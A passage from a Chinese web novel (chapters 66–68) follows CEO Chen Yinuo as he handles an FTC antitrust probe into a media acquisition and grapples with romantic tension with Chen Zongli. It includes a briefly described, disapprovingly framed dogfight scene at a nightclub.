“庄嘉轩,你明天就跟我回老宅见家长!” …… 陈一诺屏蔽掉妹妹跟男友盛气凌人的对谈,手肘靠着车窗。在昏暗的车厢内,目光不自觉地看向斜前方的陈宗礼。 从上车开始,他就一直很安静,连兄妹吵闹也没吱声,不知道是累了,还是睡着了。 车在深夜的街道上穿行,经过一盏又一盏的路灯,光影在陈宗礼身上一明又一暗地掠过。 这样可望不可及的距离,让他能足够冷静地思考一个问题:陈宗礼到底怎么了? 喝醉了么?这是从脑海里跳出来的第一个,也是最理所当然的一个解释。 但很快,这个解释,被他的理性否定了。 毕竟,在庄嘉轩跑进来后,他就恢复了正常,在去停车场的时候,直线走得相当笔直。 跟对面打电话,条理清晰,没有一点大舌头。 所以,他肯定没醉。 那么,第一个问题来了。既然没醉,陈宗礼是真的想亲他么? 他的感性说:有没有一种可能,陈宗礼是想亲自己的弟弟? 理性立刻反驳:亲自己的弟弟?你听听,这像话吗? 不到0.1秒,感性就被说服了:不像话。 综上所述,陈宗礼真的想亲他。 那么,第二个问题来了。陈宗礼亲他这个举动,他觉得反感吗? 他的感性说:不反感,毕竟,只是哥哥亲弟弟。 理性立刻反驳:刚刚不是说了吗?哥哥亲弟弟不像话! 理性继续反驳:你不但对哥哥亲弟弟不觉得反感,甚至还因为庄嘉轩的打断感到愤怒!对不对! 他的感性没再说话,没说话等于默认,默认等于早有答案。 感性和理性达成了共识:陈一诺喜欢,并不反感和陈宗礼亲吻。 “啪——” 陈一诺扶额,心想:我tm疯了吧! …… 回到老宅,已经过了零点。 陈一诺的脑子彻底一团糟,就在这时,接到王之初的电话。 电话那头传来王之初急促的声音:“一诺,刚收到消息,FTC(联邦贸易委员会)认为莫多里的时代集团触犯反垄断条例,要对繁星TV收购项目进行立案调查!” 本来脑子里,理性和感性打得一团糟,这时,像被泼了一盆冷水,陈一诺瞬间清醒—— 作者有话说:陈一诺:今晚觉都不睡了! 第66章 陈一诺听着电话,径自往自己的房间走,语气变得相当凝重。 电话那头王之初絮絮叨叨:“严格来说,这回是FTC针对莫多里的时代集团收购繁星TV开展的调查。FTC认为,莫多里收购繁星TV有消除竞争对手的“扼杀式并购”嫌疑,属于垄断行为。” 陈一诺脑袋转速飞快,问道:“收购繁星算不上大笔收购,怎么就让FTC盯上了?有人举报?” 王之初那头叹了口气:“对,根据情报,是莫多里的死对头奥莱集团,向FTC提出举报,也提供了证据,目前FTC已经受理了。莫多利先生希望你能回A国一趟。” 奥莱集团和莫多里的时代集团是多年竞争关系,向来看彼此不顺眼。上辈子,陈一诺不小心被设计,跟假的奥莱集团谈收购,消息传出去,莫多里便关上了对繁星TV的收购大门。 本以为,收购案这道坎,已经被他用“金手指”揭过去了,没想到居然还有后续。 陈一诺沉思半晌:“我知道了,收拾一下,我们明早回去。” 由于这辈子很多事情的结局被改写,由此引发的“蝴蝶效应”是陈一诺的始料未及。 但莫多里上辈子收购的HT电视台,也没被FTC盯上,怎么收购繁星TV就被盯上了呢? 如果用控制变量法想想,问题不就出在莫多里这辈子收购的繁星TV,也就是陈一诺身上么? “出什么事了?”陈宗礼的声音几乎擦着他的耳廓,从耳朵直达心脏。 本来已经平稳的血压,被他一句话瞬间拉升到200…… 他的身体诚实地抖了抖,快速转身看着陈宗礼,胡乱道:“你……跟着我干吗?” 陈宗礼双手抱肩,面容有些疲惫:“抱歉啊,我跟你的房间在同一层,你走在前头,我只能跟着了。” 陈一诺稍微松了口气,陈宗礼的语气是正常的,就是有些阴阳怪气。 陈宗礼等得不耐烦:“说呀,一星是不是出事了?” 陈一诺点点头,刚要开口,陈宗礼打断他:“进去说吧。” “什么???” 陈一诺没反应过来,陈宗礼左右看了看:“累一天了,你该不会想让我站着听你说完吧?” 过去,他赖在陈宗礼房间的时候比较多,陈宗礼进他房间的次数还真是屈指可数。 难得他开口问,陈一诺也不可能把人拒之门外。但酒吧发生的事,正上头呢,夜深人静,还孤男寡男共处一室,万一…… “卜——”的一声响,陈一诺的脑门被陈宗礼屈指敲了敲,提醒道:“真不让我进啊?怕我吃人?” 陈宗礼说话的时候凑很近,他能闻到对方身上淡淡的威士忌混着雪茄的味道,诱惑的味道。 陈一诺咽了咽口水,后背贴着门,让开通道:“怕你?开玩笑,怎么可能,请进……” 陈宗礼这才满意了,挑起眉,闲庭信步走进他房间,熟稔地坐到真皮沙发上。 本来,他的意大利真皮双人沙发挺宽敞的。被陈宗礼这身高腿长的大块头占据之后,竟然非常不争气地缩水。 陈宗礼也不客气,半靠着沙发调整成舒服的坐姿,像皇帝似的抬手:“说吧。” 于是,陈一诺把王之初刚刚跟他说的,以及心里猜测的,一五一十全告诉陈宗礼。 陈宗礼淡淡道:“所以,你明天要回A国?” 语气没有起伏,非常平常的一个问题。陈一诺却感觉,陈宗礼似乎不太开心。 手指算算,陈一诺回港城也只是短短几个月,都没到半年,眨眼又要回去了。这是舍不得? 他往后捋着那头卷毛,露出光洁的额头,有些落拓。 “对,明早跟奶奶交代一声就跟老王回去。羽南港这边,辛苦你跟普尔斯盯一下。” 陈宗礼声音冷下来:“辛苦我就辛苦我,提别人做什么?” “啊?” 陈一诺这才反应过来,狗腿道:“对对对,当然还是你最辛苦了。普尔斯就是废物小点心,呵呵呵。” 陈宗礼的脸色这才缓和一些,他手指摸到柔软的东西,转头一看,原来是沙发靠背上的史努比安抚毯,手感像陈一诺的卷毛。 “据我所知,奥莱集团的CEOFrank,跟李家纯私交不错。如果有需要,可以从李家纯这边做做功夫,替你做说客。” “万一反垄断成立。莫多里嫌麻烦,取消收购念头,对一星的打击,估计不小。” 陈宗礼眼光狠毒,一下就看穿这次奥莱集团反垄断,看似找莫多里麻烦,实质在拦截一星现金流。 陈一诺点头:“确实,现金流对一星太重要了。游戏的开发成本,羽南港的在建工程,全是前期投入大,回报周期长的项目……” 陈宗礼安慰道:“没关系,你只管管好一星就行,羽南港这边,天峻能负担。” 陈一诺就怕陈宗礼说这个,他连忙曲腿坐到沙发上:“当然不行!我们是合作关系,当初合同签好怎么就怎么,如果到头来全是天峻负担,你还不如一开始跟贺朝阳合作呢!” 陈宗礼手撑着下巴,目光柔和地看他:“放心吧,天峻跟港城多家银行关系都很好,而且羽南港是必赚的项目,他们肯定会……” 陈一诺罕见的执拗,吼道:“陈宗礼!我跟你合作,是想成为和你并肩作战的战友,不是扯你后腿,还要你帮忙收拾烂摊子的累赘!我有能力把标赢下来,就有能力把这件事摆平!!” 三更半夜的,陈一诺这一吼,直接把陈宗礼喊清醒了。眼神也变得清明,眼前的陈一诺,不再是被嘲笑的豪门弃犬,而是凭自己努力,创立商业王国,在谈判、竞标上都赢过他的集团总裁。 那个曾经抱着他,嚷着要陪在他身边,戴着黑框眼镜的弟弟,已经不知不觉长成一棵参天大树。只为跟他并肩俯瞰世上的风景。 想到这一路的不容易,他轻轻揉了揉陈一诺的卷毛,温声道:“听见了!你有能力,能摆平!行,那我等你好消息……” 今晚第二次,陈一诺从陈宗礼那张没有人情味的脸上,看见了堪称“温柔”的表情。 陈宗礼为你低头,为你温柔,这谁扛得住? 陈一诺被他看得脸热,他避开陈宗礼灼热的视线,身体下意识往后退了退,开始下逐客令。 “很晚了,我去洗澡,你……” 陈宗礼装作听不懂,他径自靠在沙发上,“嗯”了声:“去吧。” 想到明天回A国,陈一诺也不忍心再赶他走。只能由他继续坐在沙发上,自己去浴室洗澡。 浴室里传来“哗啦啦”的水声,里面的陈一诺一直天人交战。 一边想着洗久一点,让陈宗礼困得受不了,自行回房间。另一边又担心洗太久,陈宗礼干脆睡在他房间…… 后背传来一阵酥麻,他不敢往下想,加快洗澡的速度。 …… 二十分钟后,陈一诺从浴室出来。拉开浴室门一看——果然,陈宗礼还在。 坦白说,有些庆幸,又有些不知所措。 他抓起书柜旁的眼镜戴上,视线从模糊变得清晰。 沙发上的陈宗礼躬身蜷缩在沙发一侧,身上盖着安抚毯,这个睡姿看着很不舒服。 但陈宗礼的睡颜,倒是很放松,闭上的上斜眼削弱了他的攻击性,厚实的嘴唇微微张着,鼻子有节奏地一呼一吸。 “那么累,怎么不回房间睡啊?”心里的疑问,问出了口,但没等到答案。 他蹑手蹑脚地走到沙发旁,刚要伸手拍醒陈宗礼,头发上的水滴,比他的手更心急,先一步落到陈宗礼脸上。 陈宗礼平静的睡脸,因为水滴的袭击,抽动了一下,忽地睁开眼睛,隔着厚瓶底眼镜,跟陈一诺四目相对。 陈宗礼定定看了他很久,伸手抓住陈一诺停在半空的手,手臂用力把人拉到自己身旁。 眼睛始终盯着面前的人,他以为自己在梦里,梦里遇见了圣保罗时期,被厚瓶底眼镜封印的陈一诺,幽深的眼眸莫名有些红。 等意识回笼,确定自己不是在做梦,才放松手上的力度,仿佛一切没有发生过,他平静道:“洗完了?” 陈一诺心跳得飞快,他努力表现正常,拿起脖子上的毛巾擦了擦头发,说道:“嗯,刚洗完。你困就回去睡吧。缩在这里不舒服……” 陈宗礼面无表情地看了眼茶几,陈一诺这才发现,茶几上放着一支烫伤膏药。 陈宗礼坐直身体,拿起烫伤膏,在他面前晃了晃:“想等你洗完,帮你涂药。” 陈一诺看着膏药,惊讶:“我都差点忘了自己被烫到了。我自己涂就行,不用等到那么……” 陈宗礼打断他:“你自己都看不见,怎么涂?” 话是这么说,但三更半夜的,堂堂陈宗礼在沙发上蜷缩,只为等你洗完澡,帮你涂药膏。 陈一诺很清楚,这不是弟弟的待遇。 说远的,关羽会等张飞洗澡,帮他擦药膏吗?不会。 说近的,贺朝风会等贺朝阳洗澡,然后帮他……额,贺朝风管他弟弟去死…… 陈一诺的脑子,此时一团乱麻,不知如何是好,像一个宕机的机器人。 见他不动,陈宗礼“啪啪”打了几个响指,提醒道:“转过去啊。” “哦……”陈一诺回过神,乖巧地转身,背对着陈宗礼。 他身上只穿着浴袍,能敏感地感受到陈宗礼温热的手指,轻轻点在他后脖颈上,接触的刹那,他整个后背的肌肉紧绷到极致。 陈宗礼眯着眼睛看陈一诺的后背,没被浴袍包裹的脖颈外露,皮肤白皙纤细,他用拇指和食指在脖颈两侧盈盈一握,双指微微用力,顺着大动脉往前一捋…… 陈一诺瞬间感觉后脖舒展开,他微微低头,被烫伤的烟痕暴露于灯光下,泛着暧昧的红。 这么简单的动作,对于陈一诺而言宛如被凌迟。 一来他看不见陈宗礼的动作,视觉关闭了,让其他触觉变得敏感。而来,后脖是人相当脆弱的部位,陈宗礼的大手一收紧,他浑身的寒毛直接起立! 他第一次明白,什么叫被“扼住咽喉”的脆弱。 陈宗礼发现了陈一诺身体的僵硬,笑道:“紧张什么?还没开始呢……放松……” 他低沉的声音带着蛊惑人心的笑意,明明是正经的话,传到陈一诺的耳朵里,却显得不那么正经。这下,他更放松不了了…… 一阵冰凉落到他脖子某个发烫发疼的位置,原来伤口还在的,只是他太紧张,完全忽略了痛感。 陈宗礼的声音从背后传来,带着不可觉察的笑意。 “这形状……难怪他们觉得像吻痕。” 这种时候,陈宗礼又提起吻痕,让陈一诺心里痒痒的。 他忍不住调侃:“你又知道吻痕什么形状了?给人留过?” 对于陈一诺耳朵红得滴血,还要挑衅他这个行为,陈宗礼觉得有趣。 他双指用力捏着他的后脖,凑到他耳边低声呢喃:“确实缺乏经验。” “但我深度学习过:史上最强!Kiss到他腿软的激吻技巧!” “要不要验收一下学习成果?”—— 作者有话说:陈一诺:死嘴快闭上! 第67章 陈宗礼的嘴唇故意擦过他的耳廓,恶魔的低语,让他整个人被电击似的发麻。 陈一诺的眼镜直接吓得滑落到鼻尖,他何曾想过,当初一片好心给陈宗礼发出的友好教程,有一天,会直接作用在自己身……嘴上?! 他连忙缩回自己的脖子,笑道:“不了不了,嘿……等你找到女朋友,跟她试吧……” 陈宗礼眼神一黯,不甚满意道:“陈一诺,我没女朋友。” “你在谈判桌上反应那么快,原来在感情上反应那么迟钝吗?” 陈一诺呆呆看着他,不敢有任何反应,也不敢有任何回应。 只说:“哥,你是不是醉了?” 陈宗礼把烫伤膏放好,从沙发起身,垂眸看他:“你说醉了就醉了吧,早点睡。” 他伸手揉了揉陈一诺的卷毛,刚洗完还有些潮。 “等你不装醉的时候,我们再聊。” …… 重回远在A国的一星总部大楼,陈一诺依然感觉晕乎乎的,好像还在酒里。 在离开港城的这一周里,只要闲下来,他的脑海中,就会出现那晚跟陈宗礼相处的画面。 充满威士忌和雪茄味,还有被烟烫到的焦味和药膏的草药味…… 本以为,自己这辈子的主线任务是搞复仇、搞事业、把死人搞活…… 谁曾想,从天而降一个支线任务——搞对象! 对象人选,还是他哥。 虽然,重生后,许多重大事件的走向被改变,最终引发的“蝴蝶效应”触发了上辈子不存在的剧情。 譬如:陈一诺回归,刺激了庄嘉轩跟陈宗瑜在一起;贺朝风被抓,暴露了庄宝瑶和李思维的感情线…… 但“陈宗礼喜欢他”,这个剧情是从哪里触发的呢? 他苦思冥想,百思不得其解。 而分开的时间里,也是清醒的日子里,他跟陈宗礼的对话框里,只有一句他落地A国时:我到了。 陈宗礼回他一个“OK”,在公在私,他们再都没私聊过任何话题。 和羽南港相关的工作,也全是陈宗瑜跟他对接时间安排,再通过线上会议交流,会议时,陈宗礼也是平时一丝不苟的模样,问题也都聚焦在工作上,没有一句废话。 陈一诺还一度自我怀疑,那晚喝多的人只有他,是他被普尔斯影响,误会了陈宗礼话里的意思。 如果是这样,才说得通,为什么他天天晚上辗转反侧睡不着,陈宗礼看起来却丝毫不受影响,每天该工作工作,该生活该生活。 随手翻了翻某红薯,发现陈宗瑜半小时前分享新动态,文案写着:只有ChefSelina的美食能治好某人的挑剔! ChefSelina是港城有名的融合菜私厨,估计是两兄妹今天去吃饭,陈宗瑜还拍了个小Vlog。 视频有一小段,穿厨师服的Selina站在陈宗礼身旁,帮他切开面前的惠灵顿牛排,酥皮切开里面的牛肉的颜色粉得刚刚好。陈宗礼吃了一口,比了个大拇指,赞美溢于言表。 陈一诺跟踪狂似的顺藤摸瓜,点进ChefSelina的某红薯主页。 刚好,对方也发了陈宗礼兄妹吃饭的照片。 文案写着:三小姐和太子爷光顾小店,被太子爷夸啦!一如既往的帅气~心心眼。 哼。陈一诺看着他俩的合照,不自觉磨了磨牙。 嘟囔着:说是没女朋友,这边一个李思维,又来一个Selina,“思”个没完了还。 比起陈宗礼的冷淡,反倒是普尔斯天天给他打视频,主要内容是控诉陈宗礼对他的处处为难,天天虐待。 就今天早上出门前,他还收到普尔斯的视频通话。刚接通,就是他的长达30秒的尖叫。 然后用英文大声控诉,他给羽南村祠堂重建的设计稿,明明下周一才给反馈,结果昨晚陈宗礼连夜给出了反馈,而且满满20页A4纸。 “他就是对我大逆不道!!在这样,我不干了!你们自生自灭吧!” …… “陈先生,对这件事怎么看呢?” 时代集团总部的会议室内,陈一诺带着王之初,正跟莫多里和他的律师团队,商讨如何应对FTC的反垄断调查。 王之初看陈一诺眼神空洞,毫无反应,情急之下,快速踩了他一脚。 “嘶!”吃疼的陈一诺,连忙回过神来。他茫然地看了眼王之初,让他提示会议进度。 王之初叹了口气,低声道:“时代的代理律师刚刚说,奥莱对FTC提交了时代涉嫌垄断的证据。认为时代集团在收购东南亚电视台过程中,分别跟TVA、繁星TV、HT等几家东南亚受众占比高的电视台接触,并且留有邮件。” “以此认为,莫多里先生存在垄断行为。” 《反垄断法》顾名思义是为了规制市场垄断行为、维护市场的公平竞争。 大白话说,要百花齐放,严禁一家独大! 莫多里的时代集团和奥莱集团,在A国都是数一数二的传媒巨头。 双方在传媒行业一直存在竞争关系。几十年来,双方互相开火无数,光是陈一诺知道的,举报对方有垄断行为也不是第一次。 但这次,奥莱集团的举报,来得毫无预兆,确实让莫多里和陈一诺都措手不及。 陈一诺边听王之初的解释,脑子同时快速转动,他反问时代的律师。 “听说,奥莱举报以后,FTC需要你们提交所有关于这次收购的资料。他们要这些资料干什么?” 时代律师点头:“没错,大到收购合同,小到员工之间的邮件往来、聊天记录,只要跟东南亚电视台收购项目相关的,都要上交审核。” “他们估计想是从这些资料内,确认时代集团在收购项目过程中,是否存在企图垄断的证据。” 陈一诺说:“就是说,如果FTC在邮件里找到一句:只要时代集团收购繁星TV,我们就能成为行业龙头。这就算证据确凿了?” 时代律师点头:“差不多,据我们所知,他们已经找到我们一个高管在邮件白纸黑字写着:我们能通过收购东南亚电视台,挤压奥莱市场占有。这个证据,对我们不太有利。” 莫多里听到这里,眉头紧皱,骂道:“早提醒邮件要小心,就是不听!蠢货!” 时代律师对老头子的暴脾气非常了解,一时间都不敢说话了。 陈一诺低头思考了片刻,问律师:“那我们也能让FTC调取奥莱的资料吗?” “什么?”不但时代的律师惊讶,王之初也吃了一惊。 对方律师面露难色,不想当面说陈一诺没常识,表情却藏不住地埋怨这个需求不切实际。 他解释道:“陈先生,我们才是被调查方,没立场调取举证方的资料。而且,调取的目的是什么呢?” 王之初打量着陈一诺,他不是不清楚,自己老板的做事风格向来很疯。但也想听听,他的理由是什么。 陈一诺很淡定:“根据我收到的消息,去年奥莱集团传统媒体收入占比,比时代集团至少高20%,哪怕成功收购繁星,单凭繁星TV的收入,就能动摇奥莱集团的地位吗?” 同为“传媒大鳄”,他跟奥莱竞争几十年,几十年来,互有输赢。但在媒体采访时,谁也不肯服软,都说自己是传媒行业的老大。 于是,当陈一诺说,奥莱集团收入高于时代集团,哪怕收购一个繁星TV也不足以动摇奥莱地位时。 莫多里的律师团队,顿时脸色大变,仿佛触碰到老板的逆鳞。 而且,这跟前面说调取奥莱的资料,到底有什么联系? 作为律师以及多年好友,王之初已经能平静面对陈一诺突如其来的乖张。 他琢磨着陈一诺两句话之间的联系,猛然领悟到,他不走寻常路背后的考量。 他抬抬眼镜,跟对方律师解释:“我想,陈先生的意思是,既然奥莱集团认为我们有垄断嫌疑,那他作为一个传媒集团龙头,控诉一个收入比它低的传媒集团涉嫌垄断,是不是也有以大欺小的嫌疑?” 对方律师反应过来:“你的意思是说,我们反过来举证奥莱集团涉嫌垄断?” 这个建议一出,坐在主位的莫多里,立刻笑出声来,老头双手在会议桌上拍得“噼里啪啦”响。兴奋地像个小孩。 “哈哈哈哈,这招妙啊!” 他回头看向自己的律师团队:“老奥不是就喜欢跟我争第一!这种虚名让给他好了!!” “先说我们才第二,哪敢有垄断意图?!再反手将他一军,说他才有意图垄断。杀一个措手不及!” “陈一诺,你小子确实有点东西啊,哈哈哈哈~” …… 当晚,陈一诺被莫多里强行留下吃了晚饭,吃完还不让他走,硬要带他去下半场。 在饭局上喝了不少酒的陈一诺,盛情难却,只能昏昏沉沉地坐上莫多里安排的车。 等司机跟他说:“陈先生,我们到了”的时候,他跟王之初两个人踉跄着从车上下来,抬头看见头顶巨大的霓虹灯牌写着——CrazySnake。 王之初和陈一诺,站在霓虹灯牌下,骂了声:“Fxxk……” CrazySnake,被誉为全世界最没底线、最刺激的娱乐场所之一!堪称十八层地狱版酒池肉林! 第一次被客户带来CrazySnake,陈一诺几乎是满心好奇进来,强颜欢笑离开。还要等客户走远了,才敢扶着电灯柱狂吐。 这种口味极重的娱乐场所,名副其实的“Crazy”。为了生意,陈一诺不得不又去了几次。没有一次不难受。 所以,后来他生意越做越大,地位越来越高,才不用再踏入CrazySnake。 没想到,噩梦再临。 王之初骂道:“都说莫多里这老头爱刺激,第一次见面就约在LS酒店那个让人腿软的高台餐厅。那会儿我觉得已经够恶趣味了……” “万万没想到,这老头子年过七旬,还玩得那么野,连CrazySnake的刺激都受得了。” 王之初也是CrazySnake的受害者之一,陈一诺好歹忍到客户看不见才吐。王之初在里面看演出的时候就已经吐了。 看个表演,像晕车似的,手里拿着呕吐袋,边看边yue。 陈一诺看见他吐,也想吐,场面非常狼狈。 往事不堪回首,但禁不住往事重演啊。 陈一诺无奈地摇头:“莫多里依然是我们的合作伙伴和金主啊,这个面子不能不给。” “再说,好歹长了几岁,接受能力兴许好一些呢?” 王之初长叹一口气:“行吧,只能舍命陪老头了。” …… “呕……” 一小时后,CrazySnake门外,陈一诺抱着柱子把晚饭全吐了出来。 已经吐到虚脱的王之初,死过一次似的跟在他身后。脸色苍白,有气无力地拍拍他的背,眼神空洞道:“我可算看出来,这老头为什么身体那么好了!” 他眼神空洞地看向夜空,一字一句:“只要变态不死,就往死里变态啊……” 吐得眼泪直流的陈一诺喘着粗气:“我不行了,我现在闭着眼睛,就觉得世界好黑暗。” “我得看点光明的东西……” 王之初扶着他,拿出手机给司机打电话:“什么光明的东西?你要去教堂找牧师忏悔吗?那我也去……” 陈一诺摆摆手:“这个点哪里还有牧师啊?CrazySnake里面可能有,不过是cosplay的……” 王之初像是联想到刚刚看到的,脸色一变警告道:“闭嘴啊!不然我现在就吐你身上。” 陈一诺竖起大拇指:“你还有东西吐呢?真厉害。” …… 上车后,陈一诺有气无力地靠在车窗上。 闭上眼睛,全是CrazySnake里的情景。今天是CrazyDog主题夜,顾名思义,所有项目都跟狗有关。 斗犬、赛犬、人犬XX……反正各种血腥暴力。 陈一诺被迫看了一场斗犬,圆形的斗兽场内,两只国际级赛犬现场厮杀,按照赛场规则,两只斗犬最终只有一只活着走出斗兽场。 斗兽场内,130斤的坎高犬咬着罗威纳的脖子,巨大的咬合力,让它仰头把对方撕咬成两半……极致的血腥让现场观众热血沸腾。 当坎高犬在斗兽场内傲视群雄时,剩下半截的罗威纳躺在血泊间,奄奄一息。那绝望的眼神让陈一诺想起上辈子的自己。听莫多里介绍,这些斗犬都是破产养殖基地的弃犬,早晚得死,不如赚点钱。 你早晚也得死,我也把你砍半截,挂城墙上赚点钱?陈一诺心里是这么想的。可理智让他没说出口。 但陈一诺当时的表情估计很恐怖,因为莫多里后来都没敢再跟他说话。 可能是CrazySnake的阴暗让他份外庆幸自己的遭遇。也可能是凌晨时分,让人的内心更诚实。 他真想看点光明的东西,譬如:把他从阴暗里拉到光明处的陈宗礼。 现在港城是中午12点,他心里盘算着,回家就要找他,跟他聊几句。 聊聊自己睡不好,聊自己被老头子虐待看变/态演出。 也可以聊聊,那Selina的惠灵顿牛排,真那么好吃么,他不信—— 作者有话说:陈一诺:今天是哼哼唧唧、阴暗爬行的高需求小狗 第68章 车缓缓停在陈一诺居住的公寓楼下。 在NYU念大学,到开始创业,陈一诺始终住在陈宗礼选的这间公寓。 说来也奇妙,一开始他并不喜欢这里,甚至在开学后,快速申请NYU的学生宿舍。 由于申请时间太晚,在等待校方回复时,迫不得已在公寓里住了一段时间。 等学校终于通过他的宿舍申请,他住了几天,又发现宿舍的居住环境、室友、方便程度,各方面都不如自家公寓。 想到自己在NYU还要呆几年,在舒适和赌气之间,他不争气地选择了前者。 他当时想,赌气不住公寓,陈宗礼大概也不知道,他苦给谁看呢?索性让自己过得好点。 事实证明,他是对的。 于是,上辈子到他死,这家公寓也没有卖掉。 他搭乘老式电梯到三楼——他的公寓户型大、安静,在N市寸土寸金的地方,拥有百里挑一的方正格局,缺点是公寓位于角落,距离电梯有些远。 虽然该吐的在CrazySnake都吐了,但意识还是混沌,踩在吸音地毯上时,脚步轻浮得像踩在棉花上。 恍惚中,他好像看见走廊上站着一个人,而且就站在他公寓门口。 陈一诺警铃大作,放慢了脚步。 这间公寓的安保措施向来很好,陌生人根本进不来。加上他雇了保镖,理论上不会有奇怪的人出现在他公寓门口。 也就是说,这个人,要么把他的保镖打死了,要么就是身份重要死了。 陈一诺又往前走了几步,对方似乎看出他脚步不稳,主动朝他走了几步。 人没到面前,先听见那人的声音。低沉的,责备的,还有一点玩味的。 “小陈总好潇洒,三更半夜流连夜店,还喝到醉醺醺,怎么不干脆带个人回来?” 在门口等了几小时的陈宗礼,本来一肚子气,责备的话只说了一句,就被陈一诺那双锃亮的眼睛截停了。 猝不及防的,陈一诺忽然迈开腿朝他快走几步,估计真的醉了,两人之间还有三米左右,他一个不留神左腿绊右腿,直直朝陈宗礼飞扑过来。 幸好陈宗礼下盘够稳,人撞进怀里,他双手把人抱住,接着往后退了几步,后背直接抵在门上。 发出“嘭——”的一声闷响。 本来,还在世界另一头的人,忽然出现在面前,陈一诺整个脑子全是泡沫,根本转不过来。 他双手自然环上陈宗礼的肩,感受到他的体温,闻到他身上温润的茶香,才踏踏实实地确认是真人。 他如梦初醒似的,说道:“还以为喝多了做梦呢,你怎么来了?” 陈宗礼垂眸看着怀里的陈一诺,眼睛雾蒙蒙的,话里、身上都是酒味,估计醉得不轻。 便故意逗他:“什么意思,经常梦到我?是正经梦吗?” 陈一诺抬起脑袋,迷茫的眼睛对着陈宗礼左看看右看看:“那你……你是正经陈宗礼吗?” 陈宗礼上斜眼睨他,双手不经意地滑到腰两侧,笑道:“你希望我是正经的,还是不正经的?” 陈一诺缓慢地思考着:“我希望你少吃惠灵顿牛排……” 陈宗礼先愣了愣,醒悟后噙着笑。他喜欢眼前这个软乎乎的陈一诺,但实在不愿意在走廊聊天。 “行,听你的,少吃!开门再说。” …… 这是陈宗礼第三次进入这间公寓。 来的时候,本以为,陈一诺早就换地方住了,没想到,还住在这间公寓。 之前每次来,他的心情都不好,以至于他站在门口等待的时候,应激似的惴惴不安。 直到陈一诺左脚绊右脚的一撞,把他的心情彻底撞消了。 加上他发现,公寓里的布置,跟记忆中决然不同,他才跟过去的阴影告别。 虽然,陈一诺在外是呼风唤雨的上市集团总裁,自住公寓的每个角落都放着大大小小手办公仔,让人以为误入哪个主题游乐园。 陈一诺从鞋柜里拿出一双新拖鞋——《怪兽电力公司》毛怪苏利文的拖鞋。 陈宗礼下意识低头看着陈一诺的脚——穿着同一部电影里大眼仔的拖鞋。 他笑了:“你到底几岁啊?喜欢这些……” 陈一诺咂摸嘴:“我这叫童真!你这种小老头不懂。” “小老头”从小正经到大,确实没什么童真。陈宗礼没反驳,沉默着换上拖鞋,西装配卡通拖鞋,陈一诺打量着他,居然有种奇妙的和谐。 陈一诺靠坐在沙发上,沙发上铺着一张猫和老鼠沙发毯,他眼神有些木讷,问题却很直接:“你还没说,怎么突然过来?出事了?” 确实出事了。 某位小卷毛在那夜后,跑回A国,过去一周杳无音讯。陈宗礼在港城坐立难安,实在忍不住,于是连夜杀过来一探究竟。 他淡定地脱掉西装外套,靠坐在沙发上,没想到意外的舒适,让人坐下就懒得起来。 说道:“过来分公司视察,顺便见几个客户。” 天峻在C国分公司是这几年新成立的,陈一诺觉得这个理由,合情合理,就是有点突然。 他接着问:“怎么不告诉我一声?” 陈宗礼本来稳定的情绪,被一句话又激起波澜:“你看看自己的手机……” 陈一诺这才掏出自己的手机,按了按,黑屏。 “啊……关机了,我说怎么那么安静。” 陈宗礼:“还好,你的保镖认识我,不然我都没法在门口等你。” 陈一诺自夸道:“我保镖靠谱吧~” 陈宗礼想起自己刚到楼下,遇到自称陈一诺贴身保镖的聂加。那双狐狸眼对他自上而下的审视,虽然让他火大,但从陈一诺安全考虑,勉强靠谱吧。 陈宗礼没接他的话,自顾自问道:“那我今晚睡哪儿?” 果然,陈一诺被他问懵了,反问:“你的助理连酒店都没帮你订?” 陈宗礼撇他一眼,毫不犹豫地把助理献祭:“嗯。小童总是留三落四……” 陈一诺立刻想起总在道歉的小童助理,淡淡道:“哎哟,他年纪小,做事毛毛躁躁。也可以原谅。” 他从沙发站起:“我给你拿睡衣,你今晚睡客房,行吧?” 陈宗礼想说不行,但陈一诺已经趿着拖鞋往房间的方向去了。 房间里传来翻箱倒柜的声音,很快,陈一诺手里捧着睡衣,朝他抬抬下巴:“于是在这边,先洗澡吧。” 陈宗礼看着满是卡通图案的睡衣,突然不正经:“一起吗?” 陈一诺愣了愣:“我房间还有一个浴室……” 陈宗礼遗憾的“哦”了声,拿着睡衣,忽略陈一诺的失神,径自走进浴室关上门。 直到浴室里传来“沙沙”的流水声,陈一诺才回过神来。 他木讷地走回自己房间,走进浴室,脱衣服,打开花洒,没注意开关朝蓝色方向扭开,“哗啦啦——”冷水从头到脚把他淋了个遍。 陈宗礼那句“一起吗?”在他脑子里缓慢重播。 混沌的脑子,瞬间清醒,他的眼睛从雾蒙蒙变得清明。 缓慢吐出一句:“艹,陈宗礼是在撩我吗?” …… 半小时后,陈宗礼从浴室出来。 走到客厅,洗完澡的陈一诺,戴着黑框眼镜,盘腿坐在沙发上,好像在等他。 看见陈宗礼身上的睡衣,立刻笑了:“没想到啊,你还挺适合尼克狐狸的。” 陈宗礼在浴室扭捏半天,就是因为这套睡衣。他骂道:“闭嘴。” 脸上不喜欢,目光却往陈一诺身上瞟。 心里暗自庆幸,要是陈一诺把身上那套草莓熊给他穿,他宁愿裸着出来。反正尴尬的不是他。 陈宗礼也盘腿坐在沙发上,问道:“怎么还不睡?” 陈一诺把手机丢给他:“你手机刚刚响了,陈宗瑜找你……” 陈宗礼接过手机,屏幕亮,出现一张动态壁纸——艺思轩开幕那天,陈一诺的签到照。 …… 大家必定有过这种经验。 想找一个东西,你专心致志地找,翻箱倒柜地找,却怎么也找不到。等你快忘记这个东西的时候,你猜怎么着? 嘿,毫无征兆地出现了。 五分钟之前,陈一诺洗完澡,听见客厅传来手机铃声,他寻着声音过去,发现手机屏幕出现自己的脸时,就是这种心情。 他愣了几秒,恍然大悟:原来,拍卖会那天,匿名拍下他照片的人是陈宗礼! 拍下就拍下了,为什么不告诉他?不告诉他就算了,为什么要把它设置成壁纸? 下一秒,他突发奇想:有没有一种可能,陈宗礼不敢告诉他? 那为什么不敢告诉他呢?! 脑海里涌出一个恐怖的猜想,恐怖到,他需要找人聊聊。 鬼使神差地,他按下了接听键。 电话那头传来陈宗瑜的声音:“喂,陈宗礼,你怎么突然去C国了?” 陈一诺:“陈宗礼去洗澡了,我是陈一诺。” 陈宗瑜“啊”了声:“他去找你了啊?行吧,我先……” 猜她要挂电话,陈一诺连忙喊住她:“那个,宗瑜我有个问题想问你。” 陈宗瑜:“什么?” 陈一诺摸摸鼻子:“你手机里,有我的单人照么?” 